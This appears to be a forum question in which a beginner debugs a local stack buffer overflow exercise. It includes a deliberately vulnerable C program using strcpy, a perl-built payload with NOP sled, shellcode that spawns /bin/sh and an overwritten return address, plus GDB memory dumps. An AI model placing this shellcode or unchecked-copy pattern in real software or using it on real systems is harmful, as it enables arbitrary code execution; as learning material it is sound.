I'm new and tried a buffer overflow. GDB also tells me that I successfully landed in the buffer (I checked rip with info frame), but the shellcode doesnt execute. I of course set the Stack executable (with execstack -s), but it still doesnt work. Here is the code and gdb output:
#include <stdio.h>
#include <string.h>
int main(int argc, char **argv) {
char buff[80];
strcpy(buff, argv[1]);
return 1;
}
(gdb) r $(perl -e 'print "\x90"x20, "\xeb\x1b\x5b\x48\x31\xc0\x88\x43\x07\x48\x89\x5b\x08\x48\x89\x5b\x0c\xb0\x0b\x48\x8d\x4b\x0c\x48\x8d\x53\x0c\xcd\x80\xe8\xe0\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68\x4e\x41\x41\x41\x41\x42\x42\x42\x42", "A"x15, "BCD" , "\xf0\xd9\xff\xff\xff\x7f"')
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/maxim/Documents/Programming/c/tests/vuln3 $(perl -e 'print "\x90"x20, "\xeb\x1b\x5b\x48\x31\xc0\x88\x43\x07\x48\x89\x5b\x08\x48\x89\x5b\x0c\xb0\x0b\x48\x8d\x4b\x0c\x48\x8d\x53\x0c\xcd\x80\xe8\xe0\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68\x4e\x41\x41\x41\x41\x42\x42\x42\x42", "A"x15, "BCD" , "\xf0\xd9\xff\xff\xff\x7f"')
Breakpoint 1, main (argc=2, argv=0x7fffffffdb28) at vuln3.c:6
6 strcpy(buff, argv[1]);
(gdb) i f
Stack level 0, frame at 0x7fffffffda50:
rip = 0x4004d3 in main (vuln3.c:6); saved rip 0x3726a2132d
source language c.
Arglist at 0x7fffffffda40, args: argc=2, argv=0x7fffffffdb28
Locals at 0x7fffffffda40, Previous frame's sp is 0x7fffffffda50
Saved registers:
rbp at 0x7fffffffda40, rip at 0x7fffffffda48
(gdb) x/50x $rsp
0x7fffffffd9e0: 0xffffdb28 0x00007fff 0x00400500 0x00000002
0x7fffffffd9f0: 0x00000000 0x00000000 0x004003a3 0x00000000
0x7fffffffda00: 0xffffdb80 0x00007fff 0x00400545 0x00000000
0x7fffffffda10: 0x0e3080c0 0x00000000 0x00400500 0x00000000
0x7fffffffda20: 0x00000000 0x00000000 0x004003e0 0x00000000
0x7fffffffda30: 0xffffdb20 0x00007fff 0x00000000 0x00000000
0x7fffffffda40: 0x00000000 0x00000000 0x26a2132d 0x00000037
0x7fffffffda50: 0x00000000 0x00000000 0xffffdb28 0x00007fff
0x7fffffffda60: 0x00000000 0x00000002 0x004004c4 0x00000000
0x7fffffffda70: 0x00000000 0x00000000 0xe0856efd 0x3c1baa29
0x7fffffffda80: 0x004003e0 0x00000000 0xffffdb20 0x00007fff
0x7fffffffda90: 0x00000000 0x00000000 0x00000000 0x00000000
0x7fffffffdaa0: 0x54256efd 0xc3e455d6
(gdb) s
7 return 1;
(gdb) x/50x $rsp
0x7fffffffd9e0: 0xffffdb28 0x00007fff 0x00400500 0x00000002
0x7fffffffd9f0: 0x90909090 0x90909090 0x90909090 0x90909090
0x7fffffffda00: 0x90909090 0x485b1beb 0x4388c031 0x5b894807
0x7fffffffda10: 0x5b894808 0x480bb00c 0x480c4b8d 0xcd0c538d
0x7fffffffda20: 0xffe0e880 0x622fffff 0x732f6e69 0x41414e68
0x7fffffffda30: 0x42424141 0x41414242 0x41414141 0x41414141
0x7fffffffda40: 0x41414141 0x44434241 0xffffd9f0 0x00007fff
0x7fffffffda50: 0x00000000 0x00000000 0xffffdb28 0x00007fff
0x7fffffffda60: 0x00000000 0x00000002 0x004004c4 0x00000000
0x7fffffffda70: 0x00000000 0x00000000 0xe0856efd 0x3c1baa29
0x7fffffffda80: 0x004003e0 0x00000000 0xffffdb20 0x00007fff
0x7fffffffda90: 0x00000000 0x00000000 0x00000000 0x00000000
0x7fffffffdaa0: 0x54256efd 0xc3e455d6
(gdb) x/20x 0x7fffffffd9f0
0x7fffffffd9f0: 0x90909090 0x90909090 0x90909090 0x90909090
0x7fffffffda00: 0x90909090 0x485b1beb 0x4388c031 0x5b894807
0x7fffffffda10: 0x5b894808 0x480bb00c 0x480c4b8d 0xcd0c538d
0x7fffffffda20: 0xffe0e880 0x622fffff 0x732f6e69 0x41414e68
0x7fffffffda30: 0x42424141 0x41414242 0x41414141 0x41414141
(gdb) d
Delete all breakpoints? (y or n) n
(gdb) s
9 }
(gdb)
Warning:
Cannot insert breakpoint 0.
Error accessing memory address 0x0: Input/output error.
(gdb) i f
Stack level 0, frame at 0x7fffffffda58:
rip = 0x7fffffffd9f0; saved rip 0x0
called by frame at 0x7fffffffda60
Arglist at 0x7fffffffda48, args:
Locals at 0x7fffffffda48, Previous frame's sp is 0x7fffffffda58
Saved registers:
rip at 0x7fffffffda50
when I do the step command:
(gdb) s
Cannot find bounds of current function
what am I doing wrong

PS: the shellcode works, I have tried it more than once and yes, it's 64 bit